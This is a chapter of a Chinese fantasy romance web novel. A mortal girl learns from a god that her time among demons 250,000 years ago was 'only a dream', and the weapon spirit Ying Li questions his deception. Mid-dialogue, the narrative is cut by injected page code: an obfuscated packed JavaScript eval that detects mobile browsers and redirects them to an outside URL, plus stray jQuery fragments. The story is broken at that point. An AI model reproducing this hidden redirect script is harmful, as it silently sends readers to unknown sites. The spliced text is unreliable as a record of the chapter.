17. 若梦间

作品:《仙君他怎么可能是魔

    月影幽若,星河蜿蜒,落霞山上的夜晚充斥着虫鸣和飞鸟归巢的扑朔声。


    火堆燃的正旺,苍尧在一旁时不时便添些柴进去,暖烘烘地,烘的白蘅有些困倦,头支在两膝间半睡半醒地看着少夷和夜游神。


    缭绕在他们四周的神光被月色晕染出幽浅的蓝色,一缕一缕的散落又聚合,那光晕色泽无比熟悉,令她心中生出了一丝战栗。


    在百越丘的初时,她时时刻刻都在盼着有谁能天降在眼前将她救走,等真的离开时,她却觉得有些猝不及防。


    还没有来得及去看一看阿蛮娘,还没有和息渊将误会解释明白,还没有将她脑中培育夜昙花树的好几个想法托付给影璃……


    影璃?白蘅昏昏欲睡的大脑蓦然清醒,对了,影璃不就在这里吗?她方才明明想找影璃的,结果被苍尧打岔忘记此事。


    苍尧握着一根树枝,百无聊赖的挑着火堆,不经意间感受到来自身边一道灼灼的视线。


    他迎上白蘅含着殷切熠熠发亮的眸子,无声扬眉,表达了自己的疑惑。


    “仙上~”


    “叫我苍尧。”


    “苍尧仙上~”


    “……何事?”


    白蘅抿着笑往他身边靠近了些,抱着膝的手臂捣了下他曲起的那只腿,“刚才那个红衣服的漂亮姑娘去哪里了你知道吗?”她不等他的疑问,便补上了五个字的解释,“想认识认识。”


    这是她学来的,翡翠城里那些富户家里肥头大耳,有几个小钱的管家,没有主人家的体面在身上,若是走在街上瞧见一个如影璃这般容貌惊为天人的女子,也会挤眉弄眼的笑着凑过去说,“认识认识。”


    苍尧有些心不在焉,但比之醒来时初见到,瞧着眉眼间的神色融化了些,凤眸垂着,视线落在她挨着他腿的手臂上。


    白蘅知趣地离开了些许空间。


    “你找她做什么?”


    不是说了想认识认识嘛,白蘅语塞,想来这个神仙当真是领会不了凡人三言两语的词句当中饱含的博大精深,面色高深耐心解释,“她长得好看,我想和她结交一番,听说若是身边的人长得好看,不知不觉,自己也会变好看。”


    苍尧自然晓得她随口胡诌的这番话不得取信,却也还是看向神光笼罩之下的少夷,“你如今也很好。”


    这句话甚慰白蘅的心,但她心心念念想着影璃去处,遂按下自己心底小小的雀跃,忍不住又逼近苍尧问,“所以你到底知不知道影……那姑娘去了哪里?”


    星星点点的火点巡风而上,数道不着边际的念头自苍尧的心头掠过。


    这具仙躯苏醒之后,为仙三万载,他尚且没有为哪一次选择踟蹰过,因为无道可证,所以向来万事由心。


    可现在,他要做的选择,一着不慎,便会将眼前的少女拽入深渊当中。


    过去现在,孰是因,孰是果。


    “那姑娘,名叫影璃。”他幽幽开口,风轻云淡的看向期待下文的白蘅,“她不是人,是……”


    是魔,白蘅心道,她当然知道,但表面上还要表现出求知若渴的模样。


    乌发俊颜的青年薄唇微启,“……她是御神戟的器灵。”


    “哈?”


    “所以此刻,她不在这里自然是因为她已回到御神戟当中去了。”


    白蘅怔了下,很快便想明白此事,只当自己之前都误会了影璃的身份罢了,自然,十音宫里也没有谁正经向她自我介绍过,“那……能叫她出来吗?”


    “方才那一战她元神受损,恐怕还不行,”苍尧眼眸无波无澜的看着她,她却觉得他如这月色一样温凉的嗓音有几许悲伤,莫名说起了另外的话,“其实这落霞山,并不是寻常的山岭。”


    白蘅被苍尧的话轻易吸引走了注意力,茫然地问了一句,“为何这样说?”


    “很多年前,这里曾有居住过一个部族。只是后来那部族迁走了,领头之人因一些缘由将自己最趁手的武器封印于此地,因那武器凶煞,需得以生魂祭之,他身边一个下属便投以自身做了器灵。”


    “那武器在封印之地本也无事,最近适逢机缘得见天日,山中煞气弥漫,误入其中便会被受煞气所伤,也会有人因器灵之念而误入她的幻境。”


    此番话真假参半,苍尧缓缓抬眸,看着脸色越发苍白的白蘅,“想必你猜到了,那武器,便是那柄御神戟,器灵便是你要找的红衣姑娘影璃。”


    “我……我不明白,”她原本抱着双膝,蜷在火堆边如小兽般的动作缓慢散开,脊背挺直,“你说很多年前,是多少年前?”


    “二十五万年前了。”


    这个数字响起在耳边时,白蘅如遭雷殛,那是一个于她而言,悠久到做梦都梦不到的时间。


    难怪,她觉得魔族百姓穿着古旧,各种手艺也不大精通。


    身后黑影憧憧的密林当中,那抹赤炎般的红色披着一身月色,目光贪恋的看着坐在火边的青年和少女。


    二十五万年……短短五个字,便将那漫长时光一带而过,好像在说天地渺尘,而在其中的他们又是如何的微不足道。


    她眼眸微闪,恍惚一阵,眼前似是又浮现了从前那满目苍茫,大地蛮荒的时代,一身玄晶战甲的息渊站在她的面前,手抚在她的发顶上,“影璃,三界之中,吾唯信你。”


    肃杀的风穿梭过数万年的光阴,将那些远古又沉重的记忆蔽于其下,蒙上了古旧沙土,唯有息渊尊上英俊如铸的容颜还依稀如新,“有朝一日,御神戟煞气尽消,你便自由了,再去替吾看看这三界是否如那些神族所说那般祥和。”


    彼时他脸上笑意隐有歉然遗憾,“也许,这就是所谓缘法。”


    绝美的脸上一滴晶莹落下,无边夜色中,她忽而破涕轻笑,“尊上,你们……我们终究还是再次相遇了。”


    火边一时无法接受苍尧所说之话的白蘅神色黯然了许久,才低落道,“所以你说,误吸了煞气之后,会落入幻境,就像一场梦?”


    “幻境,梦境,都是虚妄,有什么分别。”


    他说这句话时的语气神态,同息渊很像,白蘅恍惚间想着,于她而言不过就是半日前,息渊站在夜昙花树下,仰首望着满树光华说:“一棵,两棵,哪怕种满了百越丘,又有什么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16498351|185696||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    分别?”


    不知为何,她心中霎那间漫开难过,明明那些经历,痛楚和喜悦皆是切身感受过的。


    白蘅默然了良久,低头去看自己身上的衣物,若要说是假的,那她身上的……


    瞳仁猛然放大,她不可置信的看着自己身上来时穿着的那身鹅黄衣衫,有些急躁的扯着裙角给苍尧看,“这衣服,我记得我穿的不是这件!”她说罢,作势又嗅了嗅自己的衣袖,妄想能闻到夜昙花那幽若淡雅的香气。


    什么都没有,白蘅颓然垂下手去,若那一切都是幻象,自然那香气,也仅存于她的想象之中。


    而她身上衣物,也许只是骤然离开幻境后,意识混沌导致的眼花。


    “我大概是……记错了。”她艰涩地总结了下,脸色讪讪挤出一个勉强的笑,对上苍尧极静的眸光,莫名便觉得有些酸楚的移开了视线。


    太残忍了。


    白蘅委屈忿闷的想,为什么老天爷要一次又一次的这样戏弄她。她越想越气,吸着鼻子站起身将随手捡起的碎石不管不顾便一把扔进了眼前的火堆之中,转身就走去了大树下,一言不发的闭眼和衣。


    睡意几乎顷刻便向她袭来,靠着树干的身子不稳当,向一边歪去,苍尧已走过来将她扶住。


    温热干净的手掌覆在白蘅额头,一道清光乍然亮起又熄灭,影璃已走出树影,“尊上,她并非是入了幻境,你为何要骗她。”


    苍尧扶着白蘅靠在他身上沉睡,“二十五万年的过往,不是一个凡人能承受的,她若能就此忘记此事再好不过,就算不能,当做一段梦境也未尝不可。”


    影璃默然,在息渊的面前,她一向不会出口质疑。自然此刻也不会问,若白蘅把百越丘的四日经历当做一场虚梦,那在她消失两年之后,嫁入少君殿的那个女子,又是谁?


    倚着树干阖目休憩的青年再度开口,“影璃,这些年来,辛苦你了。”


    翌日天蒙蒙亮起时,白蘅精神百倍的醒来,这一觉睡得有滋有味,一夜无梦,起身时,发觉自己躺在苍尧那件暗纹流转的玄色外衣上,她讶然一瞬,抬眸去看倚着树干抱臂而眠的青年。


    除了苍尧,影璃也在树边靠着。


    白蘅下意识的欣喜了下,而后便又反应了过来自己喜的实在是自作多情,便又敛了心神。


    轻手轻脚的收起苍尧的外衣,叠好在怀里,这神族的衣物布料奇异,一丝一毫的尘土都没有沾上,柔韧如羽,还有股淡淡的清香。


    白蘅低头闻了下便愣住了,蹙眉凝神,想必那幻境对自己的影响还残存了些,从前她只觉得苍尧身上的气息犹如清寒的雪气,沁凉淡泊,但这样近处闻了下,怎会叫她嗅到一丝夜昙花的香气。


    她晃了晃脑袋,兴许,她有关夜昙花香气的想象,也有苍尧的原因。


    失落地叹了口气,转身时,撞上影璃如炬的视线,柔媚的眼微微眯起时,因着幻境那几日的经历,莫名就叫白蘅心虚了起来,她谨慎道,“……姑娘早。”


    “你偷闻仙上的衣服。”影璃扬起远山似的黛眉,神情说不清道不明地看着白蘅,“你难道喜欢他?”